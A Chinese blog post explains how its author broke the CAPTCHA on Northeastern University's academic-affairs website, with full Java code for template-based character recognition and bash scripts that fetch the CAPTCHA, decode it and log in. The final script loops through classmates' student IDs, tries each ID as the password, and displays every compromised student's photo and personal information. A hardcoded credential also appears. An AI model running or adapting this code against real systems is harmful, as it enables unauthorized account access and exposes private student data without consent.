标签:
东北大学教务处编的很烂,一点鼠标键,它就着急拉慌说:"不当的拷贝会损坏您的系统".东大教务处的验证码是最简单的那一种,形同虚设,很易破解.
一.东大教务处验证码特点概述
先上几张图片,
.
字符集 a-zA-Z0-9共26+26+10=62个字符
字符位置 四种,如果四个字符一模一样,这四个字符之间的间距是固定的,即第一个与第二个,第二个与第三个,第三个与第四个之间的距离都是一样的.
字符形状 字符形状始终是一样的,不同位置的同一字符可以通过平移来生成.
上面这些规律可以通过大量获取验证码并加以分析找出.
二.获取验证码,这是分析的材料
既可以用HttpClient也可以用原生的URLConnection,这个问题比较简单,用URLConnection就足以解决了.只需要不停地访问特定链接,每次访问都会新生成验证码,这是因为没有把Session存储起来,只有Session相同,访问这个链接才能保持不变.
public static void main(String[] args) throws Exception { for(int x=0;x<10;x++){ download(x); } } static void download(int x) throws Exception { URL url = new URL( "http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473"); URLConnection connection = url.openConnection(); BufferedImage bit = ImageIO.read(connection.getInputStream()); ImageIO.write(bit, "png", new File("img\\"+x + ".png")); }
三.验证码流程概述
服务器端有一个Servlet,专门用来处理验证码问题,每次访问这个Servlet,它都会做两件事:生成一个字符串作为验证码,把这个字符串存储到session中,然后根据验证码字符串生成一张图片应答客户端请求.当浏览器端提交用户名,密码,验证码表单时,服务器端根据验证码是否与Session中的验证码一致来决定是否进行下一步判断(用户名密码是否匹配).
所以,需要把Session存储起来,以同一Session去访问一个同一个验证码.即,
第一步访问主页面,获取html,并把Session保存起来
第二步解析html页面,找到验证码图片链接,用上面保存的那个Session去访问这个链接,得到正确的验证码图片
第三步根据图片求出一个字符串,也就是验证码的破解过程.
第四步模拟提交表单,登录教务处,表单中包括用户名,密码,验证码
第五步根据登陆之后的结果(返回的html页面),去访问页面内容
用JSOUP来解析html是很好的.
四.给一张图片如何识别上面的字符
给一张图片,我们所知道的就是图片上的各个像素值,即ARGB(在这个问题中A值一直不变,只有RGB发生变化).根据相邻点的颜色差就可以判断两个点是不是属于同一个"国家".
颜色差可以有多种计算方法:
余弦定理:RGB就相当于一个三维空间,在这个三维空间中一个颜色就表示一个点.比如两个颜色对应的点为A,B.原点用O来表示,求OA和OB的夹角,夹角小说明两种颜色相近.
欧几里得距离:RGB就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为A,B.求线段AB的长度,此长度即为两个颜色的差异,AB长度越短说明两个颜色越相近.
汉密尔顿距离:RGB就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为A,B,线段AB的距离定义为|x2-x1|+|y2-y1|+|z2-z1|
从左到右,从上到下扫描图片的各个像素点,给每个点标一个国家id.从一个"有国点"可以向"无国点"沿上下左右四个方向进行扩散,如果颜色差不超过某个阈值,那么有国点就可以进行领土扩张,把无国点占领,把无国点的国家id标为自己的国家id.这样一来,整个图片就被分成了许多个国家.每个国家代表一个字符.
然而,图片上是有噪音的,阈值不同会影响国家的划分,阈值的两个极端是:国家太多(一个字符被分裂成了多个国家),国家太少(整张图片就是一个国家,像纯色图片一样).
我想要获得的是:每个字符在4种位置上所对应的"点集合",通过鼠标右键点击,来作为这个国家的开始点进行扩展,几乎形成了一个字符(像扫雷一样,我点击一个点,扩展出来一大片点).这样就形成了一个字符的主体.这个主体可能是不完整的,需要通过鼠标左键来点击个别点来完善这个字符的"点集合".鼠标双击清空点集合,鼠标滚轮滚动调整颜色阈值.通过这种可视化的操作就可以生成62个字符在4个位置对应的点集合.
经过观察,同一字符在4个位置上形状是一模一样的,只是位置不一样,验证码"AAAA",每个A之间的距离是一样的,为disA,"BBBB"每个B之间的距离是一样的,为disB.发现disA=disB.
这样一来,问题转化为建立一个"数据库",为62个字符各自定义一套描述形状的"点集合".并把每个字符在4个位置的最左,最上的点的坐标记录下来.有了形状,有了位置,就可以制作验证码了!这样就可以检验一下自己的数据库是否正确.
五.应用数据库
有了数据库,就有了一套"模板".对于一个包含四个字符的验证码图片,我把这四个字符逐一破解,而不是一下子全部破解.
对于位置一上的字符,有62中可能,我就把这62个字符挨个画在图片上,必然得到一个"点集合",也就是一个"颜色值集合",也就是一个"三维向量集合".求出"三维向量集合"的标准差来,如果标准差小,说明这个字符匹配得好;标准差大,说明这个字符匹配得差.
不一定是标准差,也可以是其他的数值来描述这个"三维向量集合"的特征.最终要的结果是:能够根据"三维向量集"映射到62个字符中的一个.
六.结果
对于有些字符,比如0(零)和O(欧),它们的字形是完全一样的,遇到包含这两者的验证码时是谁都可以,但是服务器可不这么认为.
对于i和I,对于i和L,它们具有包含关系,也就是说明明是L,会识别成i.因为L所在"点集合"包括i所在"点集合",后者标准差更小,这样就造成了误判.
解决方法一是调整"三维向量集"到"数值"的映射,不要使用标准差,而是使用其它函数;
解决方法二:对得到的62个标准差就行排名,不取标准差最小值作为结果,而是一旦形成这个排名,那就选择第几名.比如L字符通常排在第二名,i排在第一名.通过检测前五名,如果前五名满足某个序列,那就放弃"最小值原则",而采取"特殊处理".
解决方法三:如果标准差相差不大,谁的面积大就选谁.对于前几名,如果第n+1名的标准差<第n名的标准差的1.3倍,这就说明二者标准差相差不大,此时如果第n+1名面积大(点多),那么就选择第n+1名.然后再把n+1名跟n+2名做如此比较.直到找到最好的为止.
Main.java:用来生成"字形字位数据库"
/* 验证码图片是60*20的矩形点阵,每个点用RGB三原色表示(ARGB中的A始终为0xff) * 验证码有62种字符0-9,a-z,A-Z * 每一个字符都有一个形状:这是一个点集合 * 每个字符都有固定的位置(有四种位置,每两个相邻位置之间的距离为13格) * 这个文件用来产生数据,格式为62行,每行开头一个字符,接着第一种位置x和y, * 剩下的内容都是点集合 * * 这个程序的目的是可视化的产生上述数据,通过鼠标点击,来选定点集 * 鼠标左键:选定单个点 * 鼠标右键:选定一个点及其附近与之相似的点 * CTRL+鼠标左键:清除单个点 * 空格:清空全部点 * ctrl+s保存当前结果到文件 * * 选定一个点及其附近与之相似的点:利用颜色相似度来决定是否两个相邻点为同一个国家的公民 * 如果两个相邻点颜色相近,那就把他俩看成连通的 * 求出整个大图的全部连通分量 * * 一开始我还准备进行噪音处理,然而效果并不理想 * */ class Point { int x, y; Point(int x, int y) { this.x = x; this.y = y; } @Override public int hashCode() { return x ^ y; } @Override public boolean equals(Object obj) { Point p = (Point) obj; return p.x == x && p.y == y; } boolean less(Point p) { if (x == p.x) return y < p.y; else return x < p.x; } } class Country { ArrayList<Point> a = new ArrayList<Point>(); Country() { } Country(ArrayList<Point> a) { this.a = new ArrayList<Point>(); for (Point p : a) { this.a.add(new Point(p.x, p.y)); } } } class Go { int[][] a; int[][] ans; int[][] id; ArrayList<Country> countries = new ArrayList<Country>(); int w, h; int[] color; static int COLOR_DIS = 55; static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4; public Go(int[][] a) { this.a = a; w = a.length; h = a[0].length; id = new int[w][h]; expand(); // delNoise(); initColor(countries.size()); getAns(); } void cout(String s) { System.out.println(s); } void getAns() { ans = new int[w][h]; for (int i = 0; i < countries.size(); i++) { Country c = countries.get(i); for (int j = 0; j < c.a.size(); j++) { ans[c.a.get(j).x][c.a.get(j).y] = color[i]; } } } void delNoise() { Country zero = countries.get(0); for (int i = countries.size() - 1; i >= 0; i--) { Country c = countries.get(i); if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) { zero.a.addAll(c.a); countries.remove(i); } } } boolean hasRadius(Country c, int r) { for (int i = 0; i < c.a.size(); i++) { int m = c.a.get(i).x, n = c.a.get(i).y; boolean ok = true; out: for (int j = -r; j <= r; j++) { for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) { int x = m + j, y = n + k; if (legal(x, y) && id[x][y] != id[m][n]) { ok = false; break out; } } } if (ok) return true; } return false; } int radius(Country c) { int r = (int) Math.sqrt(c.a.size()), l = 0; while (l < r) { int m = (l + r) >> 1; if (hasRadius(c, m)) l = m + 1; else r = m; } return r; } void expand() { countries.add(new Country()); for (int i = 0; i < w; i++) { for (int j = 0; j < h; j++) { if (id[i][j] == 0) { countries.add(new Country()); go(countries.get(countries.size() - 1), i, j, countries.size() - 1); } } } } void go(Country country, int fx, int fy, int cnt) { int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 }; id[fx][fy] = cnt; country.a.add(new Point(fx, fy)); for (int i = 0; i < dir.length; i += 2) { int x = fx + dir[i], y = fy + dir[i + 1]; if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) { go(country, x, y, cnt); } } } void initColor(int cnt) { color = new int[cnt]; double per = 255.0 / Math.pow(cnt, 1.0 / 3); int ci = 0; for (int i = 0; i < 255; i += per) { for (int j = 0; j < 255; j += per) { for (int k = 0; k < 255; k += per) { color[ci++] = i | j << 8 | k << 16; if (ci == cnt) return; } } } } boolean legal(int x, int y) { return x >= 0 && y >= 0 && x < w && y < h; } int dis(int x, int y) { int ans = 0; for (int i = 0; i < 3; i++) { int d = Math.abs((x & 255) - (y & 255)); ans += d * d; x >>= 8; y >>= 8; } ans = (int) Math.sqrt(ans); return ans; } } class Data { Country[] xing = new Country[128]; Point[][] wei = new Point[128][4]; void save() { PrintWriter cout = null; try { cout = new PrintWriter(new File("haha.txt")); } catch (FileNotFoundException e) { e.printStackTrace(); } for (char c = ‘0‘; c <= ‘9‘; c++) { print(cout, c); } for (char c = ‘a‘; c <= ‘z‘; c++) { print(cout, c); } for (char c = ‘A‘; c <= ‘Z‘; c++) { print(cout, c); } cout.close(); } void print(PrintWriter cout, char c) { cout.println(); cout.print(c); for (int i = 0; i < 4; i++) if (wei[c][i] == null) continue; else cout.print(" " + wei[c][i].x + " " + wei[c][i].y); if (xing[c] == null) return; for (Point p : xing[c].a) cout.print(" " + p.x + " " + p.y); } String gets(char c) { String s = "" + c; for (int i = 0; i < 4; i++) { if (wei[c][i] == null) { s += " (_,_)"; } else { s += " (" + wei[c][i].x + "," + wei[c][i].y + ")"; } } if (xing[c] != null) { s += "====== "; for (Point p : xing[c].a) { s += "(" + p.x + "," + p.y + ")"; } } return s + "\n"; } public String toString() { String s = ""; for (char c = ‘0‘; c <= ‘9‘; c++) { s += gets(c); } for (char c = ‘a‘; c <= ‘z‘; c++) { s += gets(c); } for (char c = ‘A‘; c <= ‘Z‘; c++) { s += gets(c); } return s; } void sort(ArrayList<Point> a) { for (int i = 0; i < a.size(); i++) { for (int j = 0; j < a.size(); j++) { if (a.get(i).less(a.get(j))) { Point temp = a.get(i); a.set(i, a.get(j)); a.set(j, temp); } } } } void uniq(ArrayList<Point> a) { for (int i = a.size() - 1; i > 0; i--) if (a.get(i).equals(a.get(i - 1))) { a.remove(i); } } void update(ArrayList<Point> a) { int x = a.get(0).x, y = a.get(0).y; for (Point p : a) { p.x -= x; p.y -= y; } } void set(String s, Country country) { if (country == null || country.a == null) return; Scanner cin = new Scanner(s); String c = cin.next(); if (country.a.size() == 0) { System.out.println("Country.a.size() cannot be zero !!!"); } if (country.a.size() == 1) { int pos = cin.nextInt() - 1; wei[c.charAt(0)][pos] = country.a.get(0); } else { sort(country.a); uniq(country.a); update(country.a); xing[c.charAt(0)] = country; } cin.close(); } } public class Main extends JFrame { public static void main(String[] args) { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException e) { e.printStackTrace(); } new Main(); } File[] files = new File("img").listFiles(); int fileIndex = 0; JPanel protoPanel = new JPanel(), nowPanel = new JPanel(); JTextField txt = new JTextField(); JTextArea area = new JTextArea(6, 0); Container content; int proto[][], now[][]; BufferedImage protoImage, nowImage; ArrayList<Point> selectedPoints; Data data = new Data(); Go go; void initControl() { Font f = new Font("Ubuntu Mono", Font.BOLD, 30); txt.setFont(f); area.setFont(f); area.setEditable(false); txt.addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { if (e.getKeyCode() == KeyEvent.VK_ENTER) { data.set(txt.getText(), new Country(selectedPoints)); area.setText(data.toString()); txt.setText(""); selectedPoints = null; protoPanelPaint(); } } }); } Main() { loadProto(); loadNow(); setTitle("agnomen decoder"); content = getContentPane(); content.setLayout(new BorderLayout()); JPanel pane = new JPanel(new GridLayout()); pane.add(protoPanel); pane.add(nowPanel); content.add(pane, BorderLayout.CENTER); JPanel editPane = new JPanel(new BorderLayout()); initControl(); editPane.add(txt, BorderLayout.NORTH); editPane.add(new JScrollPane(area), BorderLayout.CENTER); content.add(editPane, BorderLayout.NORTH); setExtendedState(MAXIMIZED_BOTH); setDefaultCloseOperation(EXIT_ON_CLOSE); setVisible(true); protoPanel.addMouseListener(new MouseAdapter() { @Override public void mouseEntered(MouseEvent e) { protoPanel.grabFocus(); } @Override public void mouseClicked(MouseEvent e) { double w = (double) protoPanel.getWidth() / proto.length, h = (double) protoPanel.getHeight() / proto[0].length; int x = (int) (e.getX() / w), y = (int) (e.getY() / h); int color = proto[x][y]; int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255; setTitle(x + " " + y + " " + r + " " + g + " " + b); if (e.getButton() == MouseEvent.BUTTON3) { selectedPoints = go.countries.get(go.id[x][y]).a; protoPanelPaint(); } else if (e.getButton() == MouseEvent.BUTTON1) { if (e.isControlDown()) { if (selectedPoints == null) return; for (Point p : selectedPoints) { if (p.x == x && p.y == y) { selectedPoints.remove(p); protoPanelPaint(); return; } } } else { if (selectedPoints == null) selectedPoints = new ArrayList<Point>(); selectedPoints.add(new Point(x, y)); protoPanelPaint(); } } } }); nowPanel.addMouseWheelListener(new MouseWheelListener() { @Override public void mouseWheelMoved(MouseWheelEvent e) { int x = e.getWheelRotation(); Go.COLOR_DIS += x; setTitle(Go.COLOR_DIS + ""); loadNow(); nowPanelPaint(); } }); protoPanel.addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { if (e.getKeyCode() == KeyEvent.VK_DOWN) { fileIndex = (fileIndex + 1) % files.length; selectedPoints = null; loadProto(); loadNow(); repaint(); } else if (e.getKeyCode() == KeyEvent.VK_UP) { fileIndex = (fileIndex - 1 + files.length) % files.length; selectedPoints = null; loadProto(); loadNow(); repaint(); } else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) { data.save(); /* * JFrame dlg = new JFrame(); * //dlg.getContentPane().setLayout(null); JTextArea area = * new JTextArea(); Font f = new Font("Ubuntu Mono", * Font.BOLD, 30); area.setFont(f); Scanner cin = null; try * { cin = new Scanner(new File("data.txt")); } catch * (FileNotFoundException e1) { e1.printStackTrace(); } * String s = ""; while (cin.hasNext()) { s += * cin.nextLine()+"\n"; } area.setText(s); * dlg.getContentPane().add(area); * dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); * dlg.setSize(800, 800); dlg.setVisible(true); */ } else if (e.getKeyCode() == KeyEvent.VK_SPACE) { selectedPoints = null; protoPanelPaint(); } } }); } @Override public void paint(Graphics g) { protoPanelPaint(); nowPanelPaint(); } void loadNow() { go = new Go(proto); now = go.ans; nowImage = toImg(now); } void loadProto() { try { protoImage = ImageIO.read(files[fileIndex]); proto = toArray(protoImage); } catch (IOException e) { e.printStackTrace(); } } int[][] copy(int[][] src) { int[][] a = new int[src.length][src[0].length]; for (int i = 0; i < src.length; i++) { for (int j = 0; j < src[i].length; j++) { a[i][j] = src[i][j]; } } return a; } void nowPanelPaint() { nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null); } void protoPanelPaint() { int[][] midArray = copy(proto); addColor(midArray); BufferedImage midImg = toImg(midArray); protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null); } void addColor(int[][] a) { if (selectedPoints == null) return; for (Point p : selectedPoints) { a[p.x][p.y] = 0xff0000; } } BufferedImage toImg(int[][] a) { BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB); for (int i = 0; i < pic.getWidth(); i++) { for (int j = 0; j < pic.getHeight(); j++) { pic.setRGB(i, j, a[i][j]); } } return pic; } int[][] toArray(BufferedImage img) { int a[][] = new int[img.getWidth()][img.getHeight()]; for (int i = 0; i < img.getWidth(); i++) { for (int j = 0; j < img.getHeight(); j++) { a[i][j] = img.getRGB(i, j); } } return a; } void cout(String s) { System.out.print(s); } }
TestAns.java:用来检验数据库是否正确
/* Main.java用来生成数据 * 本程序用来验证生成的数据是否正确 * 其实就是从data.txt中把数据读出来,然后画一下 * 用眼睛一看便知是否正确 * * l和o在验证码中没出现过 * 在txtField中输入字符,按enter就可以在同一张图片上查看不同对比 * */ class Node { int x, y; ArrayList<Point> a = new ArrayList<Point>(); } public class TestAns extends JFrame { public static void main(String[] args) { new TestAns(); } Node[] a = new Node[128]; char[] charSet; int index = 0; int[][] nowArray = new int[60][20]; JTextField txt = new JTextField(); JPanel panel = new JPanel(); void readFile() { Scanner cin = null; try { cin = new Scanner(new File("data.txt")); } catch (FileNotFoundException e) { e.printStackTrace(); } while (cin.hasNextLine()) { String s = cin.nextLine(); Scanner sin = new Scanner(s); char c = sin.next().charAt(0); a[c] = new Node(); a[c].x = sin.nextInt(); a[c].y = sin.nextInt(); while (sin.hasNext()) { a[c].a.add(new Point(sin.nextInt(), sin.nextInt())); } sin.close(); } cin.close(); } void initCharSet() { String s = ""; for (char c = ‘0‘; c <= ‘9‘; c++) s += c; for (char c = ‘a‘; c <= ‘z‘; c++) s += c; for (char c = ‘A‘; c <= ‘Z‘; c++) s += c; charSet = s.toCharArray(); } public TestAns() { readFile(); initCharSet(); initNowArray("0000"); Container content = getContentPane(); content.setLayout(new BorderLayout()); content.add(txt, BorderLayout.NORTH); txt.addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { if (e.getKeyCode() == KeyEvent.VK_ENTER) { initNowArray(txt.getText()); repaint(); }else if (e.getKeyCode() == KeyEvent.VK_UP) { index--; char c = charSet[index]; initNowArray(c + "" + c + "" + c + "" + c); repaint(); } else if (e.getKeyCode() == KeyEvent.VK_DOWN) { index++; char c = charSet[index]; initNowArray(c + "" + c + "" + c + "" + c); repaint(); } } }); content.add(panel, BorderLayout.CENTER); setExtendedState(MAXIMIZED_BOTH); setDefaultCloseOperation(DISPOSE_ON_CLOSE); setVisible(true); } @Override public void paint(Graphics ggg) { Graphics g = panel.getGraphics(); g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null); } void initNowArray(String s) { setTitle(s); for (int i = 0; i < nowArray.length; i++) { for (int j = 0; j < nowArray[0].length; j++) { nowArray[i][j] = 0; } } for (int i = 0; i < 4 && i < s.length(); i++) { char c = s.charAt(i); for (Point p : a[c].a) { nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff; } } } BufferedImage toImg(int[][] a) { BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB); for (int i = 0; i < pic.getWidth(); i++) { for (int j = 0; j < pic.getHeight(); j++) { pic.setRGB(i, j, a[i][j]); } } return pic; } }
Decoder.java:应用数据库,破解验证码
/* 经过Main.java生成数据,TestAns验证数据,本程序应用数据去破解图片 * 从文件夹中读取全部的图片,在窗口的标题处显示破解结果 * 在窗口主体处显示原始图片 * * 如何应用那些数据呢? * for循环62个字符*4个位置,如果匹配成功了,那就该字符所覆盖的点集颜色方差非常小 * 所以,只要找出方差最小的字符来就可以了 * i和P,K,j等字符容易混淆,n和h容易混淆,因为后者包含前者.我的解决方法是一个判断,如果方差相差不多,那就取面积大者 * O和0分不清,因为这两个字符一模一样 * */ class Color { double r, g, b; Color add(Color c) { return new Color(r + c.r, g + c.g, b + c.b); } Color(double d, double e, double f) { this.r = d; this.g = e; this.b = f; } Color(int x) { r = x & 255; g = (x >> 8) & 255; b = (x >> 16) & 255; } public Color mul() { return new Color(r * r, g * g, b * b); } public Color sub(Color m) { return new Color(r - m.r, g - m.g, b - m.b); } public Color div(int size) { return new Color(r / size, g / size, b / size); } public double len() { return Math.sqrt(r * r + g * g + b * b); } } public class Decoder extends JFrame { public static void main(String[] args) { if (args.length == 0) new Decoder(); else if (args.length == 1) new Decoder(args[0]); else { System.out.println("too much arguments"); System.exit(-1); } } File[] files = new File("img").listFiles(); int fileIndex = 0; Container content; Node[] a = new Node[128]; char[] charSet; int[][] proto; void readFile() { Scanner cin = null; try { cin = new Scanner(new File("data.txt")); } catch (FileNotFoundException e) { e.printStackTrace(); } while (cin.hasNextLine()) { String s = cin.nextLine(); Scanner sin = new Scanner(s); char c = sin.next().charAt(0); a[c] = new Node(); a[c].x = sin.nextInt(); a[c].y = sin.nextInt(); while (sin.hasNext()) { a[c].a.add(new Point(sin.nextInt(), sin.nextInt())); } sin.close(); } cin.close(); } void initCharSet() { String s = ""; for (char c = ‘0‘; c <= ‘9‘; c++) s += c; for (char c = ‘a‘; c <= ‘z‘; c++) s += c; for (char c = ‘A‘; c <= ‘Z‘; c++) s += c; charSet = s.toCharArray(); } Decoder(String path) { readFile(); initCharSet(); BufferedImage img = null; try { img = ImageIO.read(files[fileIndex]); } catch (IOException e) { e.printStackTrace(); } proto = toArray(img); System.out.println(go()); } Decoder() { readFile(); initCharSet(); content = getContentPane(); setDefaultCloseOperation(EXIT_ON_CLOSE); setExtendedState(MAXIMIZED_BOTH); setVisible(true); addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { if (e.getKeyCode() == KeyEvent.VK_DOWN) { fileIndex = (fileIndex + 1) % files.length; repaint(); } else if (e.getKeyCode() == KeyEvent.VK_UP) { fileIndex = (fileIndex - 1 + files.length) % files.length; repaint(); } } }); } @Override public void paint(Graphics g) { try { BufferedImage img = ImageIO.read(files[fileIndex]); proto = toArray(img); g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null); setTitle(go()); } catch (IOException e) { e.printStackTrace(); } } String go() { double sizeRatio = 3.47; String ans = ""; for (int i = 0; i < 4; i++) { char minC = ‘l‘; double minDx = Double.MAX_VALUE; for (char c : charSet) { ArrayList<Point> s = a[c].a; Color m = new Color(0), n = new Color(0); for (Point p : s) { int x = p.x + a[c].x + i * 13, y = p.y + a[c].y; m = m.add(new Color(proto[x][y])); n = n.add(new Color(proto[x][y]).mul()); } n = n.div(s.size()); m = m.div(s.size()); double nowDx = n.sub(m.mul()).len(); System.out.println(c + " " + nowDx); /* * This condition is very important ! Different condition can * generate different result ! */ if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size()) || nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) { // if (nowDx < 1500 && s.size() > a[minC].a.size()) { minDx = nowDx; minC = c; } } ans += minC; } return ans; } int[][] toArray(BufferedImage img) { int a[][] = new int[img.getWidth()][img.getHeight()]; for (int i = 0; i < img.getWidth(); i++) { for (int j = 0; j < img.getHeight(); j++) { a[i][j] = img.getRGB(i, j); } } return a; } }
为了像使用脚本一样使用java,我把.class文件生成到临时文件夹中,编译完之后立马执行.
#!/bin/bash test -e $1 || { echo ‘file does not exist !‘;exit 2; } src=$1 shift name="${src%.*}" type="${src##*.}" dir=`pwd` dir="/tmp/${dir////_}" case $type in java) path="$dir/$name.class" compile="javac -d $dir $src" run="java -cp $dir $name $@";; cpp) path="$dir/$name.out" compile="g++ $1 -o $dir/$name.out" run="$dir/$name.out $@";; *) echo "unknown file type " exit 1 esac if test ! -d "$dir" ;then #echo ‘mkdir...compiling...‘ mkdir "$dir" && $compile && $run elif test ! -f $path -o $path -ot $src ;then #echo ‘compiling...‘ $compile && $run else $run fi
写一个脚本试试验证码破解的正确率,eog调用图片查看命令
#!/bin/bash home="202.118.31.197" url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0" while true;do wget -o /dev/null -O ‘agnomen‘ $url ./ja Decoder.java ‘agnomen‘ eog ‘agnomen‘ done
使用curl命令进行请求服务器并调用java代码破解验证码,然后模拟登陆.
function cout(){ echo -e "\033[31m$@\033[0m" } function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2" } usr=‘20124003‘ usr="$1" passwd=‘weidiao‘ passwd="$2" home="202.118.31.197" url="http://$home" find "$home" -type f -exec rm {} \; wget -o /dev/null --keep-session-cookies --save-cookies=‘cookie‘ -p $url pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o ‘ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*‘` x=`./ja Decoder.java "$home/$pic"` data="WebUserNO=$usr&Password=$passwd&Agnomen=$x" wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies=‘cookie‘ --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode=" translate "gb2312" "aao.html" grep "frameset" "aao.html" || { cout "login failed"; exit 1; } cout "login successful !" #exit 0 echo ======================= wget -o /dev/null --keep-session-cookies --load-cookies=‘cookie‘ -p "http://202.118.31.197/ACTIONFINDSTUDENTINFO.APPPROCESS" stuInfo="$home/ACTIONFINDSTUDENTINFO.APPPROCESS?mode=1&showMsg=" translate "gbk" "$stuInfo" cat "$stuInfo"
终于到了收获的季节,查看一下有多少人学号跟密码是一回事(没法破解密码,破解密码只能通过暴力方式),验证码是不用手动填的,我同学的学号都是递增的数字序列.
#!/bin/bash i=20121234 while test $i -lt 20123990 ;do echo $i ./haha.sh $i $i && eog "202.118.31.197/ACTIONDSPUSERPHOTO.APPPROCESS" i=$((i+1)) done
标签:
原文地址:http://www.cnblogs.com/weidiao/p/5595477.html